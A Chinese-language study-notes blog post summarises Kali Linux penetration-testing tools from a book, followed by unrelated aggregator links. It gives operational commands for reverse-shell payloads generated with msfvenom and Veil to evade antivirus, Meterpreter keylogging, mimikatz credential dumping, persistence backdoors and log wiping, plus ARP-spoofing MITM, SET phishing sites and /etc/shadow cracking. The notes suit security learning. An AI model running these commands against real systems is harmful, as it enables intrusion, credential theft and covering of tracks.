kalikali主要工具使用说明(文末附超全思维导图)(代码片段)

PP_L PP_L     2023-04-08     822

关键词:

本文为《从实践中学习Kali Linux渗透测试》总结笔记,仅供学习使用,禁止用于非法用途,转载请附上原文链接!

1. 信息收集

1.1 发现主机

traceroute

获取目标主机的路由条目,确定网络拓扑。每一跳表示一个网关,星号可能为防火墙导致。

1.1.1 扫描主机

① nmap

nmap -sP ip/ip段

对目标主机实施ping扫描,探测主机是否在线
也可以通过其他语法,扫描主机开放端口、使用的操作系统等

② Netdiscover

ARP侦查工具,可以扫描IP地址,检查在线主机。

netdiscover -r CIDR格式

1.1.2监听发现主机

① ARP监听

ARP请求广播到网络上所有主机,发现活动主机。
Netdiscover被动模式实施监听。

netdiscover -p

② DHCP监听

Nmap的broadcast-dhcp-discover脚本实施DHCP监听来发现主机

nmap --script broadcast-dhcp-discover 

1.2 域名分析

域名详细信息、子域名、服务器地址等

1.2.1 域名基础信息

① whois

域名注册状态、注册商、所有者等

whois 域名

② dmitry

一体化信息收集工具,收集whois主机ip和域名信息等。

dmitry -w 域名

1.2.2 查找子域名

dmitry 域名

通过谷歌,需要使用vpn(通过proxychains)

1.2.3 发现服务器

确定域名对应的ip地址

① dnsenum工具

域名信息收集工具,通过谷歌或字典猜测可能存在的域名,并且反向查询网站的主机地址、域名服务器、邮件交换记录等。

dnsenum -w 域名

② nslookup

dns服务器检测和排错的工具,查询域名解析是否正常。

nslookup 域名

③ ping

检查网络是否连通

ping 目标

1.3 扫描端口

扫描端口,发现目标主机中运行的程序。

① nmap

nmap -p 端口范围 目标

② dmitry

dmitry -p 目标

1.4 识别操作系统

针对性的对系统程序实施漏洞探测。

1.4.1 基于TTL识别

TTL,生存时间,IP被路由器丢弃之前允许通过的最大网段,不同操作系统不同TTL值。UNIX-255,Windows XP-128,Linux-64,不准确。
使用ping得到ttl值

1.4.2 使用NMAP识别

nmap -O 目标

结果有时不准确。

1.5 识别服务

服务版本信息,旧版本可能存在漏洞。

1.5.1 Nmap

nmap -sV 目标

1.5.2 Amap工作

识别网络服务的渗透测试工具集,包括amapamapcrap两个工具,amap尝试识别非常用端口上运行的程序,amapcrap发送触发数据包,在响应字符串列表中查找响应来识别非ASCII编码的应用程序。

1.6 收集服务信息

特殊服务可以提供额外的信息,利用方法。

1.6.1 SMB服务

服务器共享

smbclient -L IP -U 用户名

1.6.2 SNMP服务

简单网络管理协议,获取主机信息。

snmp-check 目标

可获取系统信息(主机名、操作系统类型及架构)、用户账户信息、网络信息(TTL值、TCP段和数据元)、网络接口信息(接口状态、速率、IP地址和子网掩码)、网络IP信息、路由信息(目标地址、下一跳地址、子网掩码和路径长度值)、监听的TCP端口、UDP端口、网络服务信息(分布式组件对象模型、DHCP客户端、DNS客户端等)、进程信息、存储信息、文件系统信息、设备信息、软件组件信息等。

1.7 信息分析整理

Maltego,信息收集工具,信息可视化。
需要到官网注册并且使用外网,类似画拓扑图的软件。

2.扫描漏洞

验证目标系统可能存在的危害。

2.1 漏洞概述

2.1.1 人为的不当配置

① 弱密码

changeme -a 目标

探测目标是否使用默认密码(新版本中已移除该工具)

② 权限设置错误

使用低权限进行高权限操作

2.1.2 软件漏洞

Intel软件漏洞、str2-045远程代码执行漏洞

2.1.3 硬件漏洞

常存在于硬件设备或芯片中,CPU漏洞等。

2.2 Nessus扫描漏洞

① 官网下载安装包(kexueshangwang)

https://www.tenable.com/downloads/nessus?loginAttempted=true

② 安装

dpkg -i Nessus-10.1.2-debian6_amd64.deb

③启动

/bin/systemctl start nessusd.service

④激活Nessus服务

https://www.tenable.com/products/nessus/activation-code
Nessus Essentials 注册,在邮箱中接收激活码
kali中访问https://kali:8834/

跳过注册,直接输入激活码,注册一个账号,等待下载。
(注:下载失败,可通过命令下载,结合代理
find / -name nessuscli
proxychains /opt/nessus/sbin/nessuscli update
然后重新启动nessus,刷新网页)

2.3 使用OpenVAS扫描漏洞

开放式漏洞评估系统。需要额外安装。

apt-get install opevas -y

自行了解,不再赘述。

2.4 其他发现方式

检查配置、三方查找等。

2.4.1 检查linux配置

远程桌面端口、弱密码、web服务SQL注入、FTP服务匿名用户权限…
unix-privesc-check是kali自带的提权漏洞检测工具。可检测各类文件的读写权限。

unix-privesc-check standard或detailed(详细模式)

2.4.2 查找漏洞信息

官网漏洞信息、CVE和微软漏洞网站。

3. 漏洞利用

利用程序漏洞获取计算机控制权。

3.1 Metasploit

开源的安全漏洞检测软件,包括了智能开发、代码审计、web应用程序扫描和社会工程等各项功能。

3.1.1 概述

强大之处在于提供了大量的渗透测试模块和插件。7种类型,Exploits(渗透攻击模块)、Auxiliary(辅助模块)、Post(后渗透攻击模块)、Payloads(攻击载荷模块)、Encoders(编码器模块)、Nops(空指令模块)、Evasion(规避模块)。

① 渗透攻击模块

利用发现的漏洞或配置进行攻击,植入载荷,获取控制权。
主动渗透攻击(主动连接请求)、被动渗透攻击(构造恶意内容诱骗触发)

② 辅助模块

扫描检测、虚假服务收集密码和口令猜测、拒绝服务攻击等

③ 后渗透模块

取得远控权限后,获取敏感信息、进一步拓展、跳板攻击等

④ 攻击载荷模块

渗透成功后促使目标系统运行的植入代码,通常作用是打开目标系统的控制会话连接。
分为Single(独立)、Stager(传感器)、Stage(传输体)3种。
-Single:完全独立的payload,可能会被netcat等捕获;
-Stager:负责建立网络连接,下载额外的组件或应用程序,常见的有reverse_tcp,可建立tcp连接,让目标系统主动连接攻击者的端口。还有一种是bind_tcp,可以让目标系统开启一个TCP监听器,随时可通信。
-Stage:传感器下的一种组件,提供更高级的功能,没有大小限制。

⑤ 空指令模块

对程序运行状态不会造成实质影响的空操作或无关操作指令。如X86 CPU体系操作码是0x90。构造恶意数据缓冲区时,常在Shellcode之前加一段空指令区,触发攻击后跳转执行有一个较大的安全着陆区,避免受到内存地址随机化及返回地址计算偏差等原因造成执行失败,提供渗透可靠性。

⑥ 编码模块

攻击载荷和空指令模块组装完成为指令序列后,运行之前还需要进行编码。一是确保不会出现坏字符,二是免杀处理。

⑦ 规避模块

规避windows自带的防火墙,对系统实时监控。

⑧ 插件

扩展框架功能,可集成Nessus、OpenVAS等。

3.1.2 Metasploit界面

提供图形界面和终端模式。

① Metasploit的图形界面Armitage

java编写的图形化攻击软件。
由于作者不再更新,2021新版kali已移除该程序。

② Metasploit的终端Msfconsole

最为流行的用户接口,功能最丰富,支持最好的工具之一。
启动:

msfconsole

3.1.3 初始化Metasploit

kali中metasploit主要使用postgreSQL存储,所以需启动PostgreSQL,并且初始化。

service postgresql start
msfdb init

(注:已经初始化metasploit会提示数据库已经配置)

3.1.4 创建工作区

区分不同的扫描任务,保存不同的信息。

msf6>workspace -a 名称 #新建工作区
msf6>workspace 名称  #切换当前工作区
msf6>workspace -v #查看工作区信息


3.1.5 导入扫描报告

可以导入一些第三方的扫描报告,如openvas.xml

db_import 文件名

3.2 查询渗透测试模块

主要使用渗透测试模块,也可以导入第三方模块。

3.2.1 预分析扫描报告

导入扫描报告,分析,找出目标系统漏洞。

msf6>hosts #查看主机信息
msf6>vulns #查看漏洞信息

3.2.2 手动查找攻击载荷

msf6>search 选项 关键字

-h 帮助 -o 文件 指定输出文件 -S string 指定搜索的字符串 -u 指定搜索模块

msf6>search cve:2019 #查找cve为2019年的漏洞模块
msf6>search  name:MS17-010 #查找名字
msf6>use exploit/windows/smb/ms17_010_eternalblue  #使用该攻击模块


3.2.3 第三方查找

① CVE网站查找

② exploitDB漏洞网站查找

③ 手动导入第三方模块

3.3 实施攻击

3.3.1 使用攻击载荷

msf6 >set payload payload名称
msf6 >show payload #查看可加载的payload

3.3.2 配置攻击载荷

加载攻击载荷后,需要进行配置。

msf6 > show options #查看可配置选项
例. 生成win7木马
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 > set lhost 192.168.0.109  #这里的地址设置成我们刚才生成木马的IP地址
msf6 > set lport 9999          #这里的端口设置成刚才我们生成木马所监听的端口
msf6 > exploit                #开始执行漏洞,开始监听,等待 Win 7主机上线

3.3.3 设置架构

一些模块可支持多个系统架构,一般默认会自动的。

msf6 > show targets #查看该模块支持所有目标架构
msf6 > set target [id] #设置架构编号

3.3.4 设置编码

避免出现坏字符或被防火墙拦截,可为载荷编码。
主要使用msfvenom工具,是MSF配套的攻击载荷生成器。
-p 指定payload;-e 指定编码格式;-a 指定系统架构,默认x86;-s指定payload最大值;-i 指定编码次数;-f 指定生成文件格式。

msfvenom -l encoders #查看支持的所有编码
msfvenom -p windows/meterpreter/reverse_tcp RHOST=192.168.0.109 --platform windows -a x86 -e x86/shikata_ga_nai -f exe > msf.exe

3.4 控制Meterpreter会话

成功渗透后,获取到Meterpreter会话,可以利用命令获取主机更多信息或控制主机,如关闭杀软、键盘捕获、屏幕截图、提升权限及创建账户等。

3.4.1 关闭杀软

meterpreter >run killav

3.4.2 获取主机详细信息

meterpreter >sysinfo
meterpreter >run scraper

3.4.3 检查是否运行在虚拟机

meterpreter >run post/windows/gather/checkvm

3.4.4 访问文件系统

和linux相同,支持pwd、ls、rm、cd、mkdir等命令

3.4.5 上传/下载文件

meterpreter >download file
meterpreter >upload file

3.4.6 键盘捕获

meterpreter >keyscan_start
meterpreter >keyscan_dump
meterpreter >keyscan_stop

3.4.7 屏幕截图

meterpreter >screenshot

3.4.8 枚举用户

meterpreter >run post/windows/gather/enum_logged_on_users

3.4.9 权限提升

meterpreter >getuid #查看当前用户权限
meterpreter >getsystem #提权

3.4.10 获取用户密码

① hashdump

meterpreter >hashdump

需要进一步破解才能得到真的密码。

② mimikatz

针对32位系统。

meterpreter >load mimikatz
meterpreter >help mimikatz
meterpreter >mimikatz_command -f sekurlsa::wdigest -a "full"
meterpreter >msv # 获取哈希密码
meterpreter >wdigest # 获取登录过用户存储在内存的明文密码

3.4.11 绑定进程

Meterppreter可以单独运行也可以与进程进行绑定,实现持久化。

meterpreter >ps #查看当前系统中运行的进程
meterpreter >getpid #查看当前进程的ID
meterpreter >migrate 指定绑定进程ID

3.4.12 运行程序

使用execute命令在目标系统中执行应用程序。

meterpreter >execute [选项] -f 命令

-H 创建一个隐藏进程;-a 传递给命令的参数;-i 跟进程进行交互;-m 从内存中执行;-t 使用当前伪造的线程令牌运行进程;-s 在给定的会话中执行进程。

meterpreter >execute -s 1 -f cmd

3.4.13 启用远程桌面

meterpreter >run post/windows/manage/enable_rdp
meterpreter >idletime # 检查远程用户的空闲时长

使用hashdump命令和mimikatz模块等获取用户和密码。
在kali中远程桌面:

rdesktop 目标IP

3.4.14 持久后门

Meterpreter是基于内存DLL建立的连接,所以目标断开则连接会断开,因此需要持久后门,开机时会主动连接。

meterpreter >run persistence -X -i <opt> -p <opt> -r <opt>

-X 系统启动后自动启动代理;-i 设置每个连接尝试的时间间隔,单位为秒;-p 指定Metasploit监听的端口;-r 指定反向连接运行Metasploit的IP地址,即攻击机地址。
建立后门后,还需要本地建立监听:

meterpreter >use exploit/multi/handler
meterpreter >set payload windows/meterpreter/reverse_tcp
meterpreter >set LHOST 本机IP
meterpreter >set LPORT 本机端口
meterpreter >exploit

3.4.15 清除踪迹

侵入后所有操作都会记录在系统日志文件中,所以需要清理。

meterpreter >clearev

3.4.16 搭建跳板

利用一台已经攻陷的主机作为跳板,渗透网络中其他主机,可用于一些不可访问的网络环境。
查看meterpreter会话,当前攻击IP与目标IP不在同一子网则需要添加路由;

meterpreter >run get_local_subnets #查看目标系统上的子网
meterpreter >background #将会话放到后台运行
msf6 exploit(handler) > route add [子网] [掩码] [会话ID]
msf6 exploit(handler) > route print #查看添加的路由条目

以上为手动,自动化操作:

msf6 exploit(handler) > load auto_add_route
msf6 exploit(handler) > exploit

3.5 免杀payload攻击

使用Veil Evasion工具生成绕过杀软的攻击载荷。

3.5.1 安装VE

kali中没有自带,需单独安装:

apt-get install veil-evasion -y
veil #启动工具,y继续,安装各种环境

3.5.2 生成免杀payload

veil #启动
Veil >:use Evasion #使用Evasion工具
Veil >:list #查看支持的payload
Veil >:use 攻击载荷
Veil >:set LHOST IP地址
Veil >:generate #生成

也可使用命令行模式:

veil -t Evasion -p 载荷名称 --ip IP地址 --port 端口号

生成载荷后,本地建立监听器。

4. 嗅探欺骗

没有漏洞可利用时,可对模板主机进行欺骗,获取网络中传输的数据进行分析,常见的是中间人攻击。

4.1 中间人攻击

4.1.1 常见中间人攻击

多为ARP欺骗(冒充网关或其他主机转发流量获取信息)和DNS欺骗。

4.1.2 实施中间人攻击

① arpspoof工具

专业ARP欺骗工具,可直接欺骗网关。

arpspoof 选项 host

-i 使用的接口;-t 目标 制定欺骗的目标,默认为所有主机;-r 双向欺骗,与-t一起使用;host 拦截包的主机,通常是本地网关。
攻击步骤:

echo 1 > /proc/sys/net/ipv4/ip_forward #开启路由转发
ifconfig #查看主机IP
arp #查看ARP缓存表

查看目标系统的IP和ARP缓存表,确定攻击机和目标主机没有任何通信,此时这两台主机通信就可实施ARP攻击。

arpspoof -i 网口名 -t 目标机 #对目标主机实施arp欺骗
arpspoof -i 网口名 -t 网关 目标机 #对网关实施arp欺骗
也可使用一条命令同时进行arp攻击:
arpspoof -i 网口名 -t 目标机 -r 网关
arp # 再次查看,发现网关与攻击机MAC地址相同,则为成功arp欺骗

② Ettercap工具

ettercap -G #启动工具

选择Sniff|Unified sniffing #启动嗅探,选择接口
选择Hosts|Scan for hosts #启动扫描主机
选择Hosts|Hosts list #查看主机列表
选择两台主机Add to Target1和Target2,选择Start|Start sniffing
选择Mitm|ARP poisoning… #启动ARP注入攻击,选Sniff remote connections
攻击成功,可捕获到数据
选择Start|Stop sniffing #关闭嗅探
选择Mitm|Stop mitm attack(s) #关闭中间人攻击

也可使用命令行模式

ettercap 选项 目标1 目标2

-i 选择网口,默认为第一个;-M,–mitm METHOD:ARGS执行中间人攻击,remote表示双向,oneway表示单项;-T,–text 使用文本模式;-q,–quiet 不显示包内容;-P 插件名 加载的插件。

ettercap -Tq -M arp:remote IP1 IP2

4.2 社会工程学

利用人性的好奇、信任、贪婪等,攻击人自身的弱点。

4.2.1 社工工具包SET

setoolkit  #输入y确认
set>1 #选择社工攻击


4.2.2 Web攻击向量

构造一些具有诱惑力的网页,诱导访问。

setoolkit 
set > 1
set > 2 #选择Web攻击向量
set:webattack>3  #选择证书获取攻击方法
set:webattack>1 #选择网站生成方式,选择默认模板

输入网站IP地址,输入本机kali地址

set:webattack> Select a template:2 #选择网站模板

成功生成伪造站点,此时可结合DNS欺骗(Ettercap工具中的dns_spoof插件)来诱骗用户到伪站点。

4.2.3 PowerShell攻击向量

创建一个PowerShell文件发送给目标执行,可获取一个反向远程连接。
①工具菜单选择编号9) Powershell Attack Vectors

set:powershell>1 #选择含字符和数字的Shellcode注入

②设置攻击机IP地址和回连端口,yes开启监听

在/root/.set/reports/powershell/找到x86_powershell_injection.txt文本文件,该文件则可运行PowerShell。
③将文件内容复制到目标机DOS下运行,或者后缀改为.bat,双击运行;
④在攻击机查看会话

msf6 > sessions
msf6 > sessions -i 会话ID #启动该会话

4.3 捕获和监听网络数据

4.3.1 wireshark

中间人攻击成功后,开启wireshark捕获对应网口的流量。

4.3.2 捕获图片

实施中间人后,使用driftnet来捕获图片,与Ettercap工具结合使用,可捕获目标主机浏览的所有图片。

driftnet -i 网口名称 -d 路径

4.3.3 监听HTTP数据

使用Ettercap实施中间人攻击后,即可监听到访问HTTP网站的数据。

4.3.4 监听HTTPS数据

使用SSLstrip工具监听HTTPS数据。

4.3.5 网络数据快速分析

Xplico可快速找出用户请求的网页地址、图片和视频等内容。
kali默认未安装。

5. 密码攻击

5.1 创建字典

收集信息并分析,创建一个合理的密码字典用于攻击。

5.1.1 密码信息收集

相关邮箱、网站博客、文章、单位名称、人员名称、生日信息、名字缩写等。

5.1.2 密码策略分析

系统对密码设置的限制,不能仅数字、连续英文或数字等策略。

① 软件/系统固有策略

创建密码时,提醒的密码长度和复杂度最低要求。

② 加固策略

查看windows组策略等。

③ 分析已有密码字典策略

根据已有密码分析字符出现概率、位置分布和前后关系,结合生成密码字典。
可使用Stasprocessor工具(需自行安装)以供分析:

statsgen 密码文件.txt

5.1.3 生成字典

① Crunch

按照制定的规则生成密码字典。

② rsmangler

基于单词列表关键字生成字典。

③ rtgen

生成彩虹表(针对各种可能字母组合和预先计算好哈希值的集合)。

5.2 破解哈希密码

5.2.1 识别哈希加密方式

hashid 哈希密码

5.2.2 破解LM Hashes密码

LM Hash是windows最早使用的密码哈希算法之一。
使用findmyhash工具破解:

findmyhash 算法类型 选项

5.2.3 直接使用哈希密码值

特定漏洞可直接使用哈希密码值,使用exploit/windows/smb/psexec渗透测试模块。

5.3 借助Utilman绕过Windows登录

Utilman是windows辅助工具管理,没有用户登录也可调用Utilman进程。

5.4 路由器密码破解

控制路由器很容易对连接该路由器主机实施各种数据嗅探和欺骗攻击。

5.4.1 路由器初始密码

使用初始密码破解。

5.4.2 使用Medusa工具

开源暴力密码破解工具,可破解FTP、HTTP、IMAP和MYSQL等密码。

5.5 破解Linux用户密码

linux中很多操作都需要root,普通用户的会话无法提权基本没用。
密码散列保存在/etc/shadow中,需要破解得到原始密码。
破解之前还需要/etc/passwd文件,保存了用户基本信息,如用户名称、宿主登录和登录shell等。
破解流程:

cp /etc/passwd /etc/shadow /root/
unshadow passwd shadow > cracked #将内容提取保存在cracked目录中
john --wordlist=/usr/share/john/password.lst cracked #使用john工具和字典破解

6. 无线网络渗透

无线网络数据以广播的方式,引起了安全问题。

以下为思维导图:

你会的还只有初级安卓工程师的技术吗?附超全教程文档

这篇文章主要介绍了20道经典Handler题及答案解析,文中通过示例代码介绍的非常详细,对大家的学习或者面试复习具有一定的参考学习价值,内容过多可以先收藏慢慢观看,需要的朋友们下面随着小编来一起学习... 查看详情

超全python学习路线图+14张思维导图,让python初学者不走弯路

这几天得到许多朋友的支持,我的分享能帮助到大家我也很开心。突发奇想,想把当初自学python时收藏的关于python的14张思维导图和学习路线拿出来分享给许多同样处于"初级"阶段的各位攻城狮们。话不多说,直接见图吧~~... 查看详情

超全python学习路线图+14张思维导图,让python初学者不走弯路!

这几天得到许多朋友的支持,我的分享能帮助到大家我也很开心。突发奇想,想把当初自学python时收藏的关于python的14张思维导图和学习路线拿出来分享给许多同样处于"初级"阶段的各位攻城狮们。话不多说,直接见图吧~~... 查看详情

java响应式框架,附超全教程文档

零基础如何学习Java?首先,你要明白一点,Java入门不难!无论你是从事哪个行业,兴趣一定是最好的老师,也是你学习的动力。学习方式1:自学自学模式其实我个人不建议绝大部分的人选择,因... 查看详情

mysql允许root远程连接,附超全教程文档

在这里分享一份[mybatis从入门到精通]的强力教程,定能够助你一臂之力。Mybatis基本介绍ORM和MyBatis对象/关系数据库映射(ORM)基本映射方式流行的ORM框架简介目前流行的编程语言,例如Java、C#等,都是面向对象的编程语... 查看详情

都2021了,你还不会用python?!(附超全学习资源)

就编程语言而言,Python炙手可热。Python是一种语法简单、功能强大的编程语言,它既适用于传统编程语言擅长的Web开发、移动开发、游戏开发、桌面应用,又适用于当前最流行的人工智能、大数据、科学计算、金融分... 查看详情

标准库工具及其使用:思维导图

《C++并发编程实战第二版》前4章标准库工具及其使用:思维导图推荐阅读《C++并发编程实战第二版》学习笔记目录下面是markdown版本,思维导图只是对书中内容主题的粗略概括,部分知识点的详细研究请... 查看详情

freedgo工具-思维导图介绍(代码片段)

...知识进行归纳总结,整理思路,Freedgo推出一款思维导图工具,通过这篇文章记录下来,把简单的功能和用法说明一下,让大家一目了然。用熟之后,可以自己再慢慢摸索进阶用法。以下讲的是网页版的介绍和用法。Freedgo思维导... 查看详情

c++知识总结(内附超详细知识框架图)(代码片段)

C++知识总结由于在学习C++的同时博主也在学习Linux系统编程、Linux网络编程以及数据库,所以从开始学习C++到现在结束已经有一年多时间了。C++是博主学习的第一个面向对象的语言,在学习过程中... 查看详情

c++知识总结(内附超详细知识框架图)(代码片段)

C++知识总结由于在学习C++的同时博主也在学习Linux系统编程、Linux网络编程以及数据库,所以从开始学习C++到现在结束已经有一年多时间了。C++是博主学习的第一个面向对象的语言,在学习过程中... 查看详情

思维导图

...名词是我大四的时候开始接触的,在我眼里,他只是一种工具,一种拓展思维的工具,工具能用到什么程度,要靠自己花多少的功夫!思维导图网上有很多教程,如果价格合理可以看看,但是如果是成百上千的,就不建议购买了... 查看详情

c语言学习阶段性总结!(内附超详知识导图+重点知识详解)

C语言学习阶段性结束啦!!!经过几个月时间的学习,终于对C语言有了更加全面的认识和理解,为了有更完整的知识框架,特意制作了一张思维导图,在此分享给各位博友:重难点知识详解函数系... 查看详情

android程序员必备!手持4个大厂offer的我,附超全教程文档

前言碎碎念:二本渣校,却拿到了字节跳动Offer!我是如何做到的,我把经历写成文章分享给大家,希望对你们能有一些帮助!之前在牛客许愿,后来来了offer就忘记了要发,现在赶紧补上。三次面... 查看详情

源码分析kafka消息发送流程(文末附流程图)(代码片段)

温馨提示:本文基于Kafka2.2.1版本。本文主要是以源码的手段一步一步探究消息发送流程,如果对源码不感兴趣,可以直接跳到文末查看消息发送流程图与消息发送本地缓存存储结构图。从上文初识KafkaProducer生产者,可以通过Kafk... 查看详情

绘制思维导图的注意事项有哪些?

...维导图又叫心智导图,是表达发散性思维的有效图形思维工具,它简单却又很有效,是一种实用性的思维工具。思维导图运用图文并重的技巧,把各级主题的关系用相互隶属与相关的层级图表现出来,把主题关键词与图像、颜色... 查看详情

哪款思维导图软件比较好用

MindMaster免费思维导图软件这是一款全新的思维导图工具,支持跨平台,可在Windows、Mac和Linux系统上使用,软件自带免费云盘,可随时保存、分享文件。软件界面简洁,偏office风格,内置丰富的主题样式,还有大量的剪贴画,可... 查看详情

利用在线画图工具绘制人际交往思维导图方法介绍

人际交往在现在的生活中是一个很重要的话题,这更是在工作中很高深的一门学问,只有熟练掌握这门课程我们才能领悟到更多工作带来的快意,下面是小编分享的人际交往思维导图的绘制方法,希望可以帮助到大家。  1.首... 查看详情

你不知道的思维导图简单画法

...用过后评价说:根本没什么用,大家试想一下,一个辅助工具能有多神奇呢?就好比一口锅,锅好并不代表你就能煮出一口好饭,关键在于自己,他只是一个辅助工具。对于思维导图的使用困惑,以及图和利用思维导图提升学习... 查看详情